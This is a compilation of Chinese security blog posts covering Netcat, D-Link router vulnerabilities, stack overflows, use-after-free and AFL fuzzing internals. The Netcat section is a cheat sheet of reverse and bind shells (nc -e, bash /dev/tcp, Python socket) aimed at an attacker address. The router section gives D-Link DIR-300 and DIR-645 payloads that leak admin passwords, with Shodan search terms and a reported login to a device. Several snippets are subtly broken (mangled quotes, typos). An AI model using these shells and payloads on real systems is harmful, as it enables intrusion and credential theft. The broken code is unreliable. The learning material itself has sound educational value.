Netcat 工具使用

Netcat的工具使用总结:

一,Netcat Banner获取

1
nc [ip-address] [port]

二,文件传输

例如我们想在目标主机上执行远程命令,所以需要将文件从攻击主机传输到目标主机。首先,设置一个侦听器,并从攻击主机连接到它。使用端口8888用于此目的,将该文件安全保存到桌面

1
nc -lvp 8888 > 文件路径

在攻击机上,我们连接到该8888端口并发送文件

1
nc [ip-address] [port] < 文件路径

三,Bind Shells &Reverse Shells

在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。

Reverse Shell:

1.设置一个Netcat侦听器,(我们侦听端口8888)

1
nc -lvp 8888

2.接下来我们在目标主机上执行下面的命令来连接我们的攻击主机(记住我们在这个攻击主机上执行了远程代码):

1
2
nc [ip-address] [port] -e /bin/bash    <for linux>
nc.exe [ip-address] [port] -e cmd.exe <for windows>

若目标主机没有Netcat,我们使用其他方法来代替

Bash反向shell,使用Bash通过使用以下命令从目标主机启动反向shell连接攻击主机:

1
bash -i > &/dev/tcp/[ip-address]/[port] 0>&1

python反向shell

1
python -c’import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“[ip-address]”,[port])); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); P = subprocess.call([“/ bin / sh”,” - i”]);”

Bind Shell:

1
2
Attacker:nc [ip-address] [port]
Target: nc -lvp [port] -e /bin/sh

路由器漏洞挖掘入门

周末在家闲着,也趁着这个时间来入门学习下路由器漏洞挖掘!网上查阅的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习,顺便刚好也好跟着创宇paper学习,就当是学习笔记了!

一:准备工作

完成binwalk的安装后,”binwalk -Me 固件包名称”来解相对应的固件。

二:漏洞挖掘

D-Link DIR-300 信息泄露漏洞

shodan :DIR-300

我们先下载D-Link DIR-300的固件并且解固件

在解固件之后,进入 suashfs-root/www 文件夹,漏洞出现在/model/__show_info.php文件。

这里看到已经禁止了$REQUIRE_FILE的参数为var/etc/httpasswdvar/etc/hnapasswd。这样的话看起来我们是无法获取账号密码的。那如果我们从根路径开始配置httpasswd的路径,那么是不是就可以绕过这个过滤了呢!

payload:(创宇

1
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

这里设置REQUIRE_FILE=/var/etc/httpasswd 成功绕过上面的 if判断,进行任意文件读取。

D-Link DIR-645信息泄露漏洞

shodan:DIR-645

同样该漏洞出现在 suashfs-root/htdocs 文件夹getcfg.php 文件由于过滤不严格导致信息泄露漏洞

该代码中 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果$GETCFG_SVC不为空,则进行文件读取。这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php文件。

payload:

1
2
http://localhost/getcfg.php
post:SERVICES=DEVICE.ACCOUNT

说了这么久了,实战走一波吧!

进入D-Link DIR-645的web登录页面,则显示需要用户与密码则可登录,那么接下来我们来获取他们

利用payload打一波

果然,我们可以清楚地看到账号密码,继续登录验证,登录成功

三:参考

【1】.http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf

【2】https://paper.seebug.org/429/

栈溢出学习笔记

在上一篇博客中对栈溢出的相关原理进行了浅析,接下来我找了个实例来进一步来加强理解,首先我们来看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//vuln.c
#include <stdio.h>
#include <unistd.h>

int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nRead %d bytes. buf is %s\n", r, buf);
puts("No shell for you :(");
return 0;
}

int main(int argc, char *argv[]) {
printf("Try to exec /bin/sh");
vuln();
return 0;
}

操作系统提供了许多安全机制来试图降低或阻止缓冲区溢出攻击带来的安全风险,包括DEP、ASLR等。在编写漏洞利用代码的时候,需要特别注意目标进程是否开启了DEPLinux下对应NX)、ASLRLinux下对应PIE)等机制,例如存在DEPNX)的话就不能直接执行栈上的数据,存在ASLR的话各个系统调用的地址就是随机化的。所以在编译之前,首先要来关闭掉linux系统栈保护机制。

学习下相关的保护机制,checksec工具可以来检查各个保护机制是否打开

依次来看看上图中的各个保护机制,这个具体可参考(上善若水的博客),下面应用一部分当学习笔记记录吧:

  • CANNARY(栈保护):上图中表示栈保护功能开启,栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让自己已经设计好的shellcode得到执行。而当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为CANARY

  • FORTIFY:FORTIFY其实非常轻微的检查,用于检查是否存在缓冲区溢出的错误。适用情形是程序采用大量的字符串或者内存操作函数,如memcpy,memset,stpcpy,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及宽字符的变体。

  • NX(DEP):NXNo-eXecute)即为不可执行的意思,基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

    工作原理如图:

  • PIE(ASLR):一般情况下NXWindows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。内存地址随机化机制(address space layout randomization),有以下三种情况

    1
    2
    3
    0 - 表示关闭进程地址空间随机化。
    1 - 表示将mmap的基址,stack和vdso页面随机化。
    2 - 表示在1的基础上增加栈(heap)的随机化。

    可以防范基于Ret2libc方式的针对DEP的攻击。ASLRDEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。

  • RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.

    GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读.

    设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。

在利用程序在编译之前我们首先要关闭系统的ASLR 方法,checksec如下 所以:

接下来,我们要如何利用该程序的漏洞呢,所以要做的是覆盖返回地址,即覆盖掉栈中的返回地址,从而让指令寄存器去执行我之前设定好的shellcode,在之前,我们先看下该段代码的反汇编代码

该段程序当read()400字节复制到一个80字节的buffer时,显然存在缓冲区溢出,下面我们构造我们的exp,来看看是否能够覆盖RIP

1
2
3
4
5
6
#!/usr/bin/env python
buf = ""
buf += "A"*400

f = open("in.txt", "w")
f.write(buf)

我们将利用这个exp来创建一个含有400个”A” 字符的”in.txt“文件,并且将典例加载进gdb并将in.txt的内容重定向到典例中

程序显然崩掉了,但是却没有覆盖到RIP,因为我们已覆盖的RIP带有一个无效地址,事实上我们没控制到RIP,为了控制RIP,我们需要用0x0000414141414141覆盖(代替)它,因此真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移,并且再次运行检查RSP的内容,最后便可以看到偏移

因此,RIP在偏移104上.让我们重新构造我们的exp并看看我们这次是否可以覆盖RIP:

很棒,我们已经彻底控制了RIP。最后,我们可以继续构造我们的shellcode

栈溢出浅析

To be the apostrophe which changed“ Impossible” into“ I’ m possible” ——Failwest

一.前言

每周末最起码得写点东西吧,算是给自己的笔记吧,要不然怎么对得起这两天free time呢! 所以这篇就诞生了:)

二.系统栈的工作原理

先扔图,网上看到了张图,觉得很形象很生动很详细了

依据图中,我们先来看看内存的功能吧。根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行。但是不管什么样的操作系统、什么样的计算机架构,进程使用的内存都可以按照功能大致分成以下 4 个部分。

  • 代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行。
  • 数据区:用于存储全局变量等。
  • 堆区:进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区。动态分配和回收是堆区的特点。
  • 栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行。

这种简单的内存划分方式是为了让您能够更容易地理解程序的运行机制。

为了更好的理解进程的内存使用,我们来贴出0day书上的这个图吧

在了解了内存相关知识后,接下来,我们再来看看栈,栈是一个数据结构,可以添加或者删除数据,但是得遵循“后进先出的原则,它是通过push操作来把数据压入栈中,通过pop操作删除数据。栈可以实现为一个数组,总是从数组的一端插入和删除元素。

我们来看0day中的一个demo,甩出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
intfunc_B(int arg_B1, int arg_B2)
{
int var_B1, var_B2;
var_B1=arg_B1+arg_B2;
var_B2=arg_B1-arg_B2;
return var_B1*var_B2;
}
intfunc_A(int arg_A1, int arg_A2)
{
int var_A;
var_A = func_B(arg_A1,arg_A2) + arg_A1 ;
return var_A;
}
int main(int argc, char **argv, char **envp)
{
int var_main;
var_main=func_A(4,3);
return var_main;
}

我们来看看该函数在代码区中的分布示意图,甩图

当 CPU 在执行调用 func_A 函数的时候,会从代码区中 main 函数对应的机器指令的区域跳转到 func_A 函数对应的机器指令区域,在那里取指并执行;当 func_A 函数执行完闭,需要返回的时候,又会跳回到 main 函数对应的指令区域,紧接着调用 func_A 后面的指令继续执行main 函数的代码。来看看取指轨迹示意图:

这些代码区中精确的跳转都是在于系统栈巧妙地配合过程中完成的,当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,并把它压入栈中。这个栈帧中的内存空间被它所属的函数独占,正常情况下是不会和别的函数共享的。当函数返回时,系统栈会弹出该函数所对应的栈帧。那在调用函数的过程中,伴随的系统栈中的操作如下:

程序的运行中每一个函数独占自己的栈帧空间,并且正在运行的函数的栈帧总是在栈顶,win32系统提供两个特殊的寄存器用于标识位于系统栈顶端的栈帧。

  • ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
  • EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。

寄存器对栈帧的标识作用如图:

函数栈帧: ESPEBP 之间的内存空间为当前栈帧, EBP 标识了当前栈帧的底部, ESP标识了当前栈帧的顶部。

而在函数栈帧中,一般包含以下几类重要信息:

  • 局部变量:为函数局部变量开辟的内存空间。
  • 保存前栈帧的顶部和底部(实际上只保存前栈帧的底部,前栈帧的顶部可以通过堆栈平衡计算得到),用于在本帧被弹出后恢复出上一个栈帧。
  • 函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置,以便在函数返回时能够恢复到函数被调用前的代码区中继续执行指令。

除了与栈相关的寄存器外,还有另一个至关重要的寄存器。

EIP:指令寄存器(Extended Instruction Pointer),其内存放着一个指针,该指针永远指向下一条等待执行的指令地址。

那从安全角度,EIP就很有意思,可以说如果控制了 EIP 寄存器的内容,就控制了进程。

最后,直接甩图函数调用的实现:

三.一个简单实例

说干就干,甩代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8]; // add local buffto be overflowed
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
while(1)
{
printf("please input password: ");
scanf("%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
break;
}
}
}

这是一个密码验证程序,来看一下该程序的栈帧布局:

正常来讲当我输入设定好的 "1234567"时,会验证通过;但是该程序段strcpy(buffer,password)存在栈溢出漏洞, 当输入的password`大于7个字符时会让buffer[8]数组越界,buffer[8],buffer[9]buffer[10]buffer[11]等......将写入相邻的变量authenticated中,进而越界字符的ASCII码会修改authenticated的值,从程序中就可以看到authenticated变量的值来源于strcmp函数的返回值,之后会返回给main函数作为密码验证成功与否的标志变量:当authenticated` 为 0 时,表示验证成功;反之,验证不成功。那如果这段溢出数据恰好把 authenticated 改为0,则程序流程将被改变。

我们首先来编译改程序,记得关闭linux的栈保护机制

1
2
3
4
gcc -o stack1 stack.c						// 默认情况下,不开启Canary保护
gcc -fno-stack-protector -o stack1 stack.c //禁用栈保护
gcc -fstack-protector -o stack1 stack.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o stack1 stack.c //启用堆栈保护,为所有函数插入保护代码

我们根据这个程序的漏洞来输入"qqqqqqqq"时,来看运行结果:

同样,通过验证。此时,我们可以分析到该栈帧数据:

局部变量名 内存地址 偏移 3 处的值 偏移 2 处的值 偏移 1 处的值 偏移 0 处的值
buffer[8] 0x0012FB18 0x71 (‘q’) 0x71 (‘q’) 0x71 (‘q’) 0x71 (‘q’)
0x0012FB1C 0x71 (‘q’) 0x71 (‘q’) 0x71 (‘q’) 0x71 (‘q’)
authenticated 被覆盖前 0x0012FB20 0x00 0x00 0x00 0x01
authenticated 被覆盖后 0x0012FB20 0x00 0x00 0x00 0x00

故而我们即使不知道正确的密码“ 1234567”,只要输入一个为8 个字符的字符串,那么字符串中隐藏的第 9 个截断符 NULL 就应该能够将 authenticated 低字节中的 1 覆盖成 0,从而绕过验证程序!

严格说来,并不是任何 8 个字符的字符串都能冲破上述验证程序。由代码中的 authenticated=strcmp(password,PASSWORD),我们知道 authenticated 的值来源于字符串比较函数 strcmp 的返回值。按照字符串的序关系,当输入的字符串大于"1234567"时,返回 1,这时 authenticated在内存中的值为 0x00000001,可以用字串的截断符 NULL淹没 authenticated 的低位字节而突破验证;当输入字符串小于"1234567"时(例如,"0123"等字符串),函数返回-1,这时 authenticated 在内存中的值按照双字-1 的补码存放,为 0xFFFFFFFF,如果这时也输入 8 个字符的字符串,截断符淹没 authenticated低字节后,其值变为 0xFFFFFF00,所以这时是不能冲破验证程序的。

四.参考

【1】0day 第二版

【2】https://kevien.github.io/2017/08/16/linux%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

Finally!

###

Use After Free漏洞浅析

一:前言

最近一直在研究浏览器相关的的漏洞,其中很多漏洞都是UAF,很多相关CTF的题也是关于该漏洞的,所以趁着国庆假期间,来捋一捋该方面的东西,谈谈自己对Use After Free漏洞的理解和漏洞原理的解析。

二:UAF介绍

UAF (Use After Free)漏洞是一种内存破坏漏洞,通常存在于浏览器中。该漏洞也称为”释放即free()后重引用”漏洞,触发漏洞在于”重引用”这一步,而重引用之前要通过”占坑”方式来修改要”重引用”的指针对应内存中的数据,然后”重引用”到已经变化了的构造好的数据,导致执行任意代码。

即使浏览器的新版本加入了一系列控件与机制,使得利用这些漏洞变得更加困难。但是它们似乎仍然存在。

三:UAF漏洞原理

首先我们先从hello word 开始:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>

int mian()
{
char *p0;
p0=(char *)malloc(sizeof(char)*10); //指针p0申请内存;
memcpy(p0,"hello",10);
printf("p0 Addr:%x,%s\n",p0,p0); //打印其地址与值;
free(p0); //释放p0;
char *p1;
p1==(char *)malloc(sizeof(char)*10);
memcpy(p1,"word",10);
printf("p1 Addr:%x,%s\n",p1,p0);
return 0;
}

直接编译并运行如下图:

通过该段代码我们可以知道UAF的利用过程:

  1. 指针p0申请了一段空间,最后并将其释放,但在释放之后并不将指针置为空,故而该指针仍然可以使用p0指针;
  2. 申请空间p1,由于malloc分配的过程使得p1指向的空间为刚刚释放的p0指针的空间,构造恶意的数据将这段内存空间布局好,即覆盖了p0中的数据;
  3. 由代码可以看到p0与p1的地址是相同的,p0与p1指向的内存为同一地址,所以此时的数据即是我们可控制的;

四:利用场景

后续。。。

五:参考

【1】https://www.cnblogs.com/alert123/p/4918041.html

【2】https://www.anquanke.com/post/id/84359

【3】https://www.anquanke.com/post/id/85281

AFL漫谈

最近一直在研究fuzz 神器-AFL,但网上的相关资料相对甚少,所以就抽空简略的撸了下源码来了解相对细节的实现的过程以及其中的巧妙之处,所以想写些东西来记录下。

一,AFL 简介

1
AFL(American Fuzzy Lop)是一款开源的fuzzing工具,并且其中巧妙的采用了一个极其简单但是绝对可靠的,插桩代码导向的遗传算法来提升fuzz效率,而他的巧妙之点不止只体现在这一点上。最近我对其代码进行了简要的阅读,大致总结了一些AFL的实现细节以及其中的遗传算法的原理,在这来记录整理。

二,AFL的整个算法逻辑

参考的官网的相关技术白皮书,抛出链接http://lcamtuf.coredump.cx/afl/technical_details.txt

1
2
3
4
5
6
7
8
9
10
11
Simplifying a bit, the overall algorithm can be summed up as:
1) Load user-supplied initial test cases into the queue,
2) Take next input file from the queue,
3) Attempt to trim the test case to the smallest size that doesn't alter
the measured behavior of the program,
4) Repeatedly mutate the file using a balanced and well-researched variety
of traditional fuzzing strategies,
5) If any of the generated mutations resulted in a new state transition
recorded by the instrumentation, add mutated output as a new entry in the
queue.
6) Go to 2.

实现的具体流程图如下:

三,AFL的整体框架

AFL的fuzz具体代码实现流程

1
2
3
4
5
6
7
8
9
10
11
1. main函数先进行初始化和选项处理;
2. 执行input文件夹下的预先准备的所有testcase(perform_dry_run),生成初始化的queue和bitmap;
3. 通过cull_queue对queue进行精选,减小input的量;
4. 然后进行while(1)循环不断进行fuzz。
每次在fuzz一个queue后,就会进入while(1),并重新调用cull_queue()对队列进行精选,而在while(1)具体实现以下过程:
1. cull_queue()根据top_rated设置queue中的favored标志,对queue进行精选,选出favored;
2. 判断queue_cur是否为NULL,如果是,则表示已经完成对队列的遍历,queue_cycle++,初始化相关参数,重新开始遍历队列;
3. fuzz queue_cur对应的input文件;
4. 判断是否结束,并更新queue_cur和current_entry;
当队列中的所有文件都经过变异测试了,则完成一次”cycle done”;
整个队列又会从第一个文件开始,再次继续进行变异,不过与第一次变异不同的是,因为没有随机性,这一次变异就不需要再进行deterministic fuzzing了。而至于什么是deterministic fuzzing,我们在下面的fuzz策略中会作介绍;

AFL的fuzz策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
   总的来讲,AFL维护了一个队列(queue),每次从这个队列中取出一个文件,对其进行大量变异,并检查运行后是否会引起目标崩溃、发现新路径等结果。变异的主要类型如下:
1.bitflip,按位翻转,1变为0,0变为1
2.arithmetic,整数加/减算术运算
3.interest,把一些特殊内容替换到原文件中
4.dictionary,把自动生成或用户提供的token替换/插入到原文件中
5.havoc,中文意思是“大破坏”,此阶段会对原文件进行大量变异,
6.splice,中文意思是“绞接”,此阶段会将两个文件拼接起来得到一个新的文件
其中,前四项bitflip, arithmetic, interest, dictionary由于其变异方式没有随机性,所以也称为deterministic fuzzing;而havoc和splice则存在随机性,是所有状况的fuzzer(是否dumb mode、主从fuzzer)都会执行的变异。

bitflip变异:
拿到一个原始文件,首先的变异类型就是bitflip,而且还会根据翻转量/步长进行多种不同的翻转,按照顺序依次为:
bitflip 1/1,每次翻转1个bit,按照每1个bit的步长从头开始
bitflip 2/1,每次翻转相邻的2个bit,按照每1个bit的步长从头开始
bitflip 4/1,每次翻转相邻的4个bit,按照每1个bit的步长从头开始
bitflip 8/8,每次翻转相邻的8个bit,按照每8个bit的步长从头开始,即依次对每个byte做翻转
effector map的生成:完成bitflip 8/8的同时,还生成了effector map,该作用是对byte进行标记,在对每个byte进行翻转变异时,其新的执行路径与原来的路径不一致时,就对该byte标记为1,表示即为有效的,否则标记为0;这样做的优点是如果一个byte完全翻转,都无法带来执行路径的变化,那么这个byte很有可能是属于”data”,而非”metadata”(例如size, flag等),对整个fuzzing的意义不大。所以,在随后的一些变异中,会参考effector map,跳过那些“无效”的byte,从而节省了执行资源。
bitflip 16/8,每次翻转相邻的16个bit,按照每8个bit的步长从头开始,即依次对每个word做翻转
bitflip 32/8,每次翻转相邻的32个bit,按照每8个bit的步长从头开始,即依次对每个dword做翻转

arithmetic变异:
arith 8/8,每次对8个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个byte进行整数加减变异
arith 16/8,每次对16个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个word进行整数加减变异
arith 32/8,每次对32个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个dword进行整数加减变异
加减运算的相关设置在config.h定义,由于整数存在大端序和小端序两种表示方式,AFL会贴心地对这两种整数表示方式都进行变异。此外,AFL会智能的跳过某些arithmetic,第一种情况就是前面提到的effector map:如果一个整数的所有bytes都被判断为“无效”,那么就跳过对整数的变异。第二种情况是之前bitflip已经生成过的变异:如果加/减某个数后,其效果与之前的某种bitflip相同,那么这次变异肯定在上一个阶段已经执行过了,此次便不会再执行。

interest变异:
interest 8/8,每次对8个bit进替换,按照每8个bit的步长从头开始,即对文件的每个byte进行替换
interest 16/8,每次对16个bit进替换,按照每8个bit的步长从头开始,即对文件的每个word进行替换
interest 32/8,每次对32个bit进替换,按照每8个bit的步长从头开始,即对文件的每个dword进行替换
其中interest value的值在config.h已经设定好
#define INTERESTING_8 \
-128, /* Overflow signed 8-bit when decremented */ \
-1, /* */ \
0, /* */ \
1, /* */ \
16, /* One-off with common buffer size */ \
32, /* One-off with common buffer size */ \
64, /* One-off with common buffer size */ \
100, /* One-off with common buffer size */ \
127 /* Overflow signed 8-bit when incremented */
可以看到,用于替换的基本都是可能会造成溢出的数;与之前相同,effector map仍然会用于判断是否需要变异;

dictionary变异:
user extras (over),从头开始,将用户提供的tokens依次替换到原文件中
user extras (insert),从头开始,将用户提供的tokens依次插入到原文件中
auto extras (over),从头开始,将自动检测的tokens依次替换到原文件中
tokens:在进行bitflip 1/1变异时,对于每个byte的最低位(least significant bit)翻转还进行了额外的处理:如果连续多个bytes的最低位被翻转后,程序的执行路径都未变化,而且与原始执行路径不一致,那么就把这一段连续的bytes判断是一条token。

havoc变异:
随机选取某个bit进行翻转
随机选取某个byte,将其设置为随机的interesting value
随机选取某个word,并随机选取大、小端序,将其设置为随机的interesting value
随机选取某个dword,并随机选取大、小端序,将其设置为随机的interesting value
随机选取某个byte,对其减去一个随机数
随机选取某个byte,对其加上一个随机数
随机选取某个word,并随机选取大、小端序,对其减去一个随机数
随机选取某个word,并随机选取大、小端序,对其加上一个随机数
随机选取某个dword,并随机选取大、小端序,对其减去一个随机数
随机选取某个dword,并随机选取大、小端序,对其加上一个随机数
随机选取某个byte,将其设置为随机数
随机删除一段bytes
随机选取一个位置,插入一段随机长度的内容,其中75%的概率是插入原文中随机位置的内容,25%的概率是插入一段随机选取的数
随机选取一个位置,替换为一段随机长度的内容,其中75%的概率是替换成原文中随机位置的内容,25%的概率是替换成一段随机选取的数
随机选取一个位置,用随机选取的token(用户提供的或自动生成的)替换
随机选取一个位置,用随机选取的token(用户提供的或自动生成的)插入

Fuzzer dictionaries

1
2
刚开始我们或许都有个疑惑,afl的最显眼的局限之一是如何解决的,afl的变异引擎是语法盲,并针对紧凑数据格式(即,图像,多媒体,压缩数据,正则表达式语法或shell脚本)进行了优化,但是它不太适合特别冗长,冗余并且带有语法的的语言 - 尤其包括HTML,SQL或JavaScript。
为了避免构建语法感知工具的麻烦,afl-fuzz提供了一种使用语言关键字,magic header或其他与目标数据类型相关联的特殊表示的可选字典为模糊过程提供种子的方法 - 并且使用它来重建底层语法

forkserver

1
编译 target 完成后,就可以通过 afl-fuzz 开始 fuzzing了。其大致思路是,对输入的 seed 文件不断地变化,并将这些 mutated input 喂给 target 执行,检查是否会造成崩溃。因此,fuzzing 涉及到大量的 fork 和执行 target 的过程。 为了更高效地进行上述过程,AFL 实现了一套 fork server 机制。其基本思路是:启动 target 进程后,target 会运行一个 fork server;fuzzer 并不负责 fork 子进程,而是与这个 fork server 通信,并由 fork server 来完成fork 及继续执行目标的操作。这样设计的最大好处,就是不需要调用execve(),从而节省了载入目标文件和库、解析符号地址等重复性工作。 接下来,我们来看看 fork server 的具体运行原理。

内存共享

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    作为fuzzer,AFL并不是毫无目的对输入文件无脑地随机变化(其实也支持这种方式,即dumb模式),它会对target进行插桩,以辅助mutated input的生成。具体地,插桩后的target,会记录执行过程中的分支信息;随后,fuzzer便可以根据这些信息,判断这次执行的整体流程和代码覆盖情况。 
AFL使用共享内存,来完成以上信息在fuzzer和target之间的传递。

1.fuzzer在启动时,会执行setup_shm()方法进行配置。其首先调用shemget()分配一块共享内存,大小MAP_SIZE为64K:
shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600);
2.分配成功后,该共享内存的标志符会被设置到环境变量中,从而之后fork()得到的子进程可以通过该环境变量,得到这块共享内存的标志符:
shm_str = alloc_printf("%d", shm_id);
if (!dumb_mode) setenv(SHM_ENV_VAR, shm_str, 1);
并且,fuzzer本身,会使用变量trace_bits来保存共享内存的地址:
trace_bits = shmat(shm_id, NULL, 0);
3.在每次target执行之前,fuzzer首先将该共享内容清零:
memset(trace_bits, 0, MAP_SIZE);
4.target获取并使用这块共享内存的。相关代码同样也在上面提到的方法__afl_maybe_log()中。首先,会检查是否已经将共享内存映射完成:__afl_area_ptr中保存的就是共享内存映射到target的内存空间中的地址,如果其不是NULL,便保存在ebx中继续执行;否则进一步跳转到__afl_setup。__afl_setup处会做一些错误检查,然后获取环境变量AFL_SHM_ENV的内容并将其转为整型。查看其定义便可知,这里获取到的,便是之前fuzzer保存的共享内存的标志符。
5.最后,通过调用shmat(),target将这块共享内存也映射到了自己的内存空间中,并将其地址保存在__afl_area_ptr及edx中。由此,便完成了fuzzer与target之间共享内存的设置。

注记:如果使用了fork server模式,那么上述获取共享内存的操作,是在fork server中进行;随后fork出来的子进程,只需直接使用这个共享内存即可。

四,使用afl-dyninst fuzz无源码的二进制程序

通常来讲,afl-fuzz需要对待fuzz程序重编译,重而对其进行插桩,这就要求拥有待fuzz程序的完整源代码。而afl-dyninst提供了一种静态无源码插桩的手段使得可以对无源码二进制程序插桩。

下载编译首先需要安装以下软件:sudo apt-get

下载&&编译

1
sudo apt-get install libelf-dev libelf1 libiberty-dev libboost-all-dev

afl-dyninst是基于dyninst的,所以需要下载&&编译&&安装dyninst:

1
2
3
4
5
6
7
git clone https://github.com/dyninst/dyninst.git
cd dyninst
mkdir build
cd build
cmake -DBOOST_LIBRARYDIR=/usr/lib/x86_64-linux-gnu
make
sudo make install

下载&&编译afl-dyninst

1
2
3
4
5
6
7
git clone https://github.com/talos-vulndev/afl-dyninst.git
cd afl-dyninst
make
sudo cp afl-dyninst /usr/bin/
sudo cp libAflDyninst.so /usr/local/lib/
echo "/usr/local/lib" > /etc/ld.so.conf.d/dyninst.conf && ldconfig
echo "export DYNINSTAPI_RT_LIB=/usr/local/lib/libdyninstAPI_RT.so" >> ~/.bashrc

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
Usage: ./afl-dyninst -i <binary> -o <binary> -l <library> -e <address> -s <number>
-i: Input binary
-o: Output binary
-l: Library to instrument (repeat for more than one)
-e: Entry point address to patch (required for stripped binaries)
-r: Runtime library to instrument (path to, repeat for more than one)
-s: Number of basic blocks to skip
-v: Verbose output
example:
afl-dyninst -i testbin -o testbin_ins
to fuzz:
export AFL_SKIP_BIN_CHECK=1
afl-fuzz -i in -o out testbin_ins

五,AFL的优化改进方向

​ 这几天通过对源码的阅读学习,领略了该神级工具的设计巧妙与功能强大之处,当然在实现的过程中,也存在些许不足,会想尝试能不能自己去做一个优化或者改进,让他能具有一定的针对性或者更强的fuzz能力,参考了各位大牛的paper,结合afl的不足,总结下优化改进的一些点

1
2
3
4
5
6
1.coverage的碰撞问题
AFL要用到一个64KB bitmap来保存Coverage的信息,在这个过程,它是通过给边算出来hash值,用hash代表边来更新bitmap,而在hash算法中则存在碰撞问题,它而影响这个Fuzzer的判断,这个Fuzzer会根据bitmap来判断当前这个种子是不是好的优秀的种子,判断这个种子是不是走了新的边,如果碰撞了,它是看不出来这是新的边。如果新的边出现了,它的哈希值与前哈希值是一样的,那么Fuzzer认为这个边是测过的边,认为这个种子没用,进而扔掉了实际很好的种子。甚至会漏掉一些crash.
2.变异阶段的随机性问题
变异的类型可分为bitflip,arithmetic,interest,dictionary,havoc,splice六种,而在这六种类型中后面俩种havoc和splice都是没有针对性的,存在一定的随机性,而这些部分也就成了不折不扣的“看天吃饭”,所以,可以在变异策略上优化减少这种随机性,尽量去变异那些更重要的字符。
3.改进种子的选择策略
可以改进优先选择对Coverage有贡献的种子

六,参考文献

【1】https://rk700.github.io/2018/01/04/afl-mutations/

【2】http://chao.100871.net/papers/oakland18.pdf

【3】https://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html

【4】https://blog.csdn.net/Chen_zju/article/details/80791268

读书笔记

读《程序员的自我修养》记录

三个关键部位 :中央处理器CPU 内存和I/O控制芯片

为了能够让CPU能够和I/O设备进行通信,每个设备都会有一个I/O控制器

南桥/北桥:由于北桥运行的速度非常高,所有相对低速的设备如果全都直接连接在北桥上,北桥既须处理高速设备,又须处理低速设备,设计就会十分复杂,于是人们又设计了专门处理低速设备的南桥芯片,磁盘,USB,键盘,鼠标等设备都连接在南桥上,由南桥将他们汇总后链接在北桥上。

